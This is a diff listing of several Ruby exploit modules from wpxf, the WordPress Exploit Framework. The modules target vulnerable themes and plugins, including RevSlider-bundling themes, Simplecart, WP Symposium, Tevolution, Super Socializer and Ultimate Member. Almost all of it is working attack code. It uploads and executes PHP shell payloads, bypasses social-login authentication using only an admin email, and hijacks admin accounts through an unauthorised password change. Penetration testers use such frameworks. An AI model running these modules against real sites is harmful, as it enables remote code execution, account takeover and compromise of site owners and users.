wpxf 2.0.0a

data/lib/wpxf/modules/exploit/shell/showbiz_revslider_shell_upload.rb

@@ -0,0 +1,15 @@
+# frozen_string_literal: true
+
+class Wpxf::Exploit::ShowbizRevsliderShellUpload < Wpxf::Exploit::RevsliderShellUpload
+  def initialize
+    super
+
+    update_info(
+      name: 'Showbiz Theme RevSlider <= 3.0.95 Shell Upload',
+      desc: 'This module exploits a file upload vulnerability in versions of '\
+            'the Showbiz theme that include versions <= 3.0.95 of the '\
+            'RevSlider plugin which allows unauthenticated users to upload '\
+            'and execute PHP scripts in the context of the web server.'
+    )
+  end
+end

data/lib/wpxf/modules/exploit/shell/simplecart_shell_upload.rb

@@ -0,0 +1,91 @@
+# frozen_string_literal: true
+
+require 'socket'
+
+class Wpxf::Exploit::SimplecartShellUpload < Wpxf::Module
+  include Wpxf
+
+  def initialize
+    super
+
+    update_info(
+      name: 'Simplecart Theme Shell Upload',
+      desc: 'This module exploits a file upload vulnerability in all versions '\
+            'of the Simplecart theme found in the upload_file.php script '\
+            'which contains no session or file validation. It allows '\
+            'unauthenticated users to upload files of any type and '\
+            'subsequently execute PHP scripts in the context of the '\
+            'web server.',
+      author: [
+        'Divya',     # Vulnerability disclosure
+        'rastating'  # WPXF module
+      ],
+      references: [
+        ['EDB', '36611']
+      ],
+      date: 'April 02 2015'
+    )
+  end
+
+  def check
+    check_theme_version_from_readme('simplecart')
+  end
+
+  def plugin_url
+    normalize_uri(wordpress_url_themes, 'simplecart')
+  end
+
+  def uploads_url
+    normalize_uri(plugin_url, 'admin',)
+  end
+
+  def uploader_url
+    normalize_uri(uploads_url, 'upload-file.php')
+  end
+
+  def payload_body_builder(payload_name)
+    target_ip = IPSocket.getaddress(target_host)
+    field_name = Utility::Text.md5(target_ip)
+
+    builder = Utility::BodyBuilder.new
+    builder.add_file_from_string(field_name, payload.encoded, payload_name)
+    builder.add_field('upload_path', 'Lg==')
+    builder
+  end
+
+  def run
+    return false unless super
+
+    emit_info 'Preparing payload...'
+    payload_name = "#{Utility::Text.rand_alpha(10, :lower)}.php"
+    builder = payload_body_builder(payload_name)
+
+    emit_info 'Uploading payload...'
+    res = nil
+    builder.create do |body|
+      res = execute_post_request(url: uploader_url, body: body)
+    end
+
+    if res.nil?
+      emit_error 'No response from the target'
+      return false
+    end
+
+    if res.code != 200
+      emit_error "Server responded with code #{res.code}"
+      return false
+    end
+
+    payload_url = normalize_uri(uploads_url, payload_name)
+    emit_success "Uploaded the payload to #{payload_url}", true
+
+    emit_info 'Executing the payload...'
+    res = execute_get_request(url: payload_url)
+
+    if res && res.code == 200 && !res.body.strip.empty?
+      emit_success "Result: #{res.body}"
+    end
+
+    return true
+  end
+end

data/lib/wpxf/modules/exploit/shell/soulmedic_revslider_shell_upload.rb

@@ -0,0 +1,15 @@
+# frozen_string_literal: true
+
+class Wpxf::Exploit::SoulmedicRevsliderShellUpload < Wpxf::Exploit::RevsliderShellUpload
+  def initialize
+    super
+
+    update_info(
+      name: 'Soulmedic Theme RevSlider <= 3.0.95 Shell Upload',
+      desc: 'This module exploits a file upload vulnerability in versions of '\
+            'the Soulmedic theme that include versions <= 3.0.95 of the '\
+            'RevSlider plugin which allows unauthenticated users to upload '\
+            'and execute PHP scripts in the context of the web server.'
+    )
+  end
+end

data/lib/wpxf/modules/exploit/shell/striking_r_revslider_shell_upload.rb

@@ -0,0 +1,15 @@
+# frozen_string_literal: true
+
+class Wpxf::Exploit::StrikingRRevsliderShellUpload < Wpxf::Exploit::RevsliderShellUpload
+  def initialize
+    super
+
+    update_info(
+      name: 'Striking-R Theme RevSlider <= 3.0.95 Shell Upload',
+      desc: 'This module exploits a file upload vulnerability in versions of '\
+            'the Striking R theme that include versions <= 3.0.95 of the '\
+            'RevSlider plugin which allows unauthenticated users to upload '\
+            'and execute PHP scripts in the context of the web server.'
+    )
+  end
+end

data/lib/wpxf/modules/exploit/shell/super_socializer_shell_upload.rb

@@ -0,0 +1,110 @@
+# frozen_string_literal: true
+
+class Wpxf::Exploit::SuperSocializerShellUpload < Wpxf::Module
+  include Wpxf
+  include Wpxf::Net::HttpClient
+  include Wpxf::WordPress::Plugin
+  include Wpxf::WordPress::Login
+
+  def initialize
+    super
+
+    update_info(
+      name: 'Super Socializer <= 7.10.6 Authentication Bypass',
+      desc: %(
+        Super Socializer <= 7.10.6 is vulnerable to an
+        authentication bypass exploit if an attacker is
+        in posession of an admin's e-mail address and the
+        social login feature is enabled.
+
+        This module will acquire an admin session by utilising
+        the aforementioned vulnerability and upload a shell
+        packaged as a WordPress plugin.
+      ),
+      author: [
+        'rastating' # WPXF module
+      ],
+      references: [
+        ['WPVDB', '9043']
+      ],
+      date: 'Mar 03 2018'
+    )
+
+    register_options([
+      StringOption.new(
+        name: 'admin_email',
+        desc: 'The e-mail address of the admin user to authenticate as',
+        required: true
+      )
+    ])
+  end
+
+  def check
+    check_plugin_version_from_readme('super-socializer', '7.10.7')
+  end
+
+  def fetch_nonce
+    emit_info 'Fetching a login nonce...'
+    res = execute_get_request(url: wordpress_url_login)
+    return false unless res&.code == 200
+
+    pattern = /var\sthe_champ_sl_ajax_token\s=\s{"ajax_url":".+?","security":"([a-z0-9]+?)"};/i
+    self.login_nonce = res.body[pattern, 1]
+
+    if login_nonce.nil?
+      emit_error 'Failed to fetch a login nonce'
+      return false
+    else
+      emit_success "Found nonce: #{login_nonce}", true
+      return true
+    end
+  end
+
+  def login
+    res = execute_post_request(
+      url: wordpress_url_admin_ajax,
+      body: {
+        'action' => 'the_champ_user_auth',
+        'security' => login_nonce,
+        'profileData[id]' => Wpxf::Utility::Text.rand_alpha(6),
+        'profileData[link]' => Wpxf::Utility::Text.rand_alpha(6),
+        'profileData[name]' => Wpxf::Utility::Text.rand_alpha(6),
+        'profileData[email]' => datastore['admin_email'],
+        'profileData[first_name]' => Wpxf::Utility::Text.rand_alpha(6),
+        'profileData[last_name]' => Wpxf::Utility::Text.rand_alpha(6),
+        'provider' => 'facebook',
+        'redirectionUrl' => full_uri
+      }
+    )
+
+    return false unless res&.cookies
+
+    if valid_wordpress_cookie?(res.cookies.to_s)
+      self.session_cookie = res.cookies.to_s
+      return res.cookies
+    else
+      emit_error 'Failed to authenticate'
+      return false
+    end
+  end
+
+  def run
+    return false unless super
+    return false unless fetch_nonce
+
+    emit_info "Authenticating as #{datastore['admin_email']}..."
+    return false unless login
+
+    emit_info 'Uploading payload...'
+    res = upload_payload_as_plugin_and_execute(
+      Utility::Text.rand_alpha(10),
+      Utility::Text.rand_alpha(10),
+      session_cookie
+    )
+
+    !res.nil?
+  end
+
+  attr_accessor :session_cookie
+  attr_accessor :login_nonce
+end

data/lib/wpxf/modules/exploit/shell/symposium_shell_upload.rb

@@ -0,0 +1,85 @@
+# frozen_string_literal: true
+
+class Wpxf::Exploit::SymposiumShellUpload < Wpxf::Module
+  include Wpxf
+  include Wpxf::Net::HttpClient
+
+  def initialize
+    super
+
+    update_info(
+      name: 'WP Symposium 14.11 Unrestricted File Upload',
+      desc: 'WP Symposium Plugin for WordPress contains a flaw that allows a '\
+            'remote attacker to execute arbitrary PHP code. This flaw exists '\
+            'because the /wp-symposium/server/file_upload_form.php script '\
+            'does not properly verify or sanitize user-uploaded files. By '\
+            'uploading a .php file, the remote system will place the file in '\
+            'a user-accessible path. Making a direct request to the uploaded '\
+            'file will allow the attacker to execute the script with the '\
+            'privileges of the web server.',
+      author: [
+        'Claudio Viviani', # Vulnerability disclosure
+        'rastating'        # WPXF module
+      ],
+      references: [
+        ['WPVDB', '7716']
+      ],
+      date: 'Dec 11 2014'
+    )
+  end
+
+  def check
+    check_plugin_version_from_readme('wp-symposium', '14.12')
+  end
+
+  def symposium_url
+    normalize_uri(wordpress_url_plugins, 'wp-symposium', 'server', 'php')
+  end
+
+  def successful_upload(res)
+    res && res.code == 200 && res.body.length > 0 &&
+    !res.body.include?('error') && !res.body.eql?('0')
+  end
+
+  def payload_body_builder(payload_name, directory_name)
+    builder = Utility::BodyBuilder.new
+    builder.add_field('uploader_uid', '1')
+    builder.add_field('uploader_dir', "./#{directory_name}/")
+    builder.add_field('uploader_url', symposium_url.sub(base_uri, ''))
+    builder.add_file_from_string('files[]', payload.encoded, payload_name)
+    builder
+  end
+
+  def run
+    return false unless super
+
+    emit_info 'Preparing payload...'
+    payload_id = Utility::Text.rand_alpha(10)
+    payload_file = "#{payload_id}.php"
+    payload_url = normalize_uri(symposium_url, payload_id, payload_file)
+    builder = payload_body_builder(payload_file, payload_id)
+
+    emit_info 'Uploading the payload...'
+    res = nil
+    builder.create do |body|
+      res = execute_post_request(url: normalize_uri(symposium_url, 'index.php'), body: body)
+    end
+
+    if successful_upload(res)
+      emit_success "Uploaded the payload to #{payload_url}", true
+      emit_info 'Executing the payload...'
+      res = execute_get_request(url: payload_url)
+
+      if res && res.code == 200 && !res.body.strip.empty?
+        emit_success "Result: #{res.body}"
+      end
+
+      return true
+    else
+      emit_error "HTTP status: #{res.code}", true
+      emit_error "Server returned: #{res.body}", true
+      emit_error 'Failed to upload the payload'
+      return false
+    end
+  end
+end

data/lib/wpxf/modules/exploit/shell/tevolution_shell_upload.rb

@@ -0,0 +1,50 @@
+# frozen_string_literal: true
+
+class Wpxf::Exploit::TevolutionShellUpload < Wpxf::Module
+  include Wpxf::WordPress::ShellUpload
+
+  def initialize
+    super
+
+    update_info(
+      name: 'Tevolution < 2.3.0 Shell Upload',
+      author: [
+        'rastating'  # WPXF module
+      ],
+      references: [
+        ['WPVDB', '8482'],
+        ['URL', 'https://templatic.com/news/security-vulnerability-found-themes/']
+      ],
+      date: 'Apr 23 2016'
+    )
+  end
+
+  def check
+    change_log = normalize_uri(plugin_url, 'change_log.txt')
+    check_version_from_custom_file(change_log, /\(Version\s(\d\.\d\.\d)\)/, '2.3.0')
+  end
+
+  def plugin_url
+    normalize_uri(wordpress_url_plugins, 'Tevolution')
+  end
+
+  def uploader_url
+    normalize_uri(plugin_url, 'tmplconnector', 'monetize', 'templatic-custom_fields', 'single-upload.php')
+  end
+
+  def payload_body_builder
+    builder = Utility::BodyBuilder.new
+    builder.add_file_from_string(Utility::Text.rand_alpha(5), payload.encoded, payload_name)
+    builder
+  end
+
+  def scrape_current_theme
+    res = execute_get_request(url: full_uri)
+    res.body[/\/#{wp_content_dir}\/themes\/(.*?)\//, 1] if res && res.body
+  end
+
+  def uploaded_payload_location
+    theme = scrape_current_theme
+    normalize_uri(wordpress_url_themes, theme, 'images', 'tmp', payload_name)
+  end
+end

data/lib/wpxf/modules/exploit/shell/ultimate_member_shell_upload.rb

@@ -0,0 +1,132 @@
+# frozen_string_literal: true
+
+class Wpxf::Exploit::UltimateMemberShellUpload < Wpxf::Module
+  include Wpxf
+  include Wpxf::Net::HttpClient
+  include Wpxf::WordPress::Login
+  include Wpxf::WordPress::Plugin
+
+  def initialize
+    super
+
+    update_info(
+      name: 'Ultimate Member <= 1.3.75 Shell Upload',
+      desc: 'This module exploits a vulnerability that allows users of any level to change '\
+            'the password of any user. The module requires you login with an account of any '\
+            'level, which will then be used to change the specified admin users\' password. '\
+            'The compromised admin account will then be used to store and execute the payload.',
+      author: [
+        'James Golovich', # Discovery and disclosure
+        'rastating'       # WPXF module
+      ],
+      references: [
+        ['WPVDB', '8688'],
+        ['URL', 'https://ultimatemember.com/security-release-v1-3-76/']
+      ],
+      date: 'Dec 08 2016'
+    )
+
+    register_options([
+      StringOption.new(
+        name: 'password_form_path',
+        desc: 'The path of the change password form (default is /account/password/)',
+        required: true
+      ),
+      IntegerOption.new(
+        name: 'admin_user_id',
+        desc: 'The ID of the user to hijack the account of',
+        required: true
+      ),
+      StringOption.new(
+        name: 'admin_username',
+        desc: 'The username of the admin user to hijack the account of',
+        required: true
+      )
+    ])
+  end
+
+  def check
+    check_plugin_version_from_readme('ultimate-member', '1.3.76')
+  end
+
+  def requires_authentication
+    true
+  end
+
+  def password_form_url
+    normalize_uri(full_uri, datastore['password_form_path'])
+  end
+
+  def admin_user_id
+    normalized_option_value('admin_user_id')
+  end
+
+  def admin_username
+    normalized_option_value('admin_username')
+  end
+
+  def new_password
+    @new_password || @new_password = Utility::Text.rand_alphanumeric(3) +
+                                     Utility::Text.rand_alpha(1, :lower) +
+                                     Utility::Text.rand_numeric(2) +
+                                     Utility::Text.rand_alpha(1, :upper) +
+                                     Utility::Text.rand_alphanumeric(3)
+  end
+
+  def execute_password_change
+    execute_post_request(
+      url: password_form_url,
+      cookie: session_cookie,
+      body: {
+        '_um_password_change' => '1',
+        'timestamp' => Utility::Text.rand_numeric(3),
+        'user_password' => new_password,
+        'confirm_user_password' => new_password,
+        'user_id' => admin_user_id
+      }
+    )
+  end
+
+  def before_upload
+    emit_info "Changing password for #{admin_username} to #{new_password}"
+    res = execute_password_change
+
+    unless res.code == 302
+      emit_error "Password change returned status #{res.code}", true
+      emit_error "Failed to change the password for #{admin_username}"
+      return false
+    end
+
+    @admin_cookie = authenticate_with_wordpress(admin_username, @new_password)
+    return true if @admin_cookie
+    false
+  end
+
+  def upload_payload
+    plugin_name = Utility::Text.rand_alpha(10)
+    payload_name = Utility::Text.rand_alpha(10)
+    @payload_url = normalize_uri(wordpress_url_plugins, plugin_name, "#{payload_name}.php")
+    return true if upload_payload_as_plugin(plugin_name, payload_name, @admin_cookie)
+
+    emit_error 'Failed to upload the payload'
+    false
+  end
+
+  def execute_payload
+    res = execute_get_request(url: @payload_url)
+    emit_success "Result: #{res.body}" if res && res.code == 200 && !res.body.strip.empty?
+  end
+
+  def run
+    return false unless super
+    return false unless before_upload
+
+    emit_info 'Uploading payload...'
+    upload_payload
+
+    emit_info "Executing the payload at #{@payload_url}..."
+    execute_payload
+
+    true
+  end
+end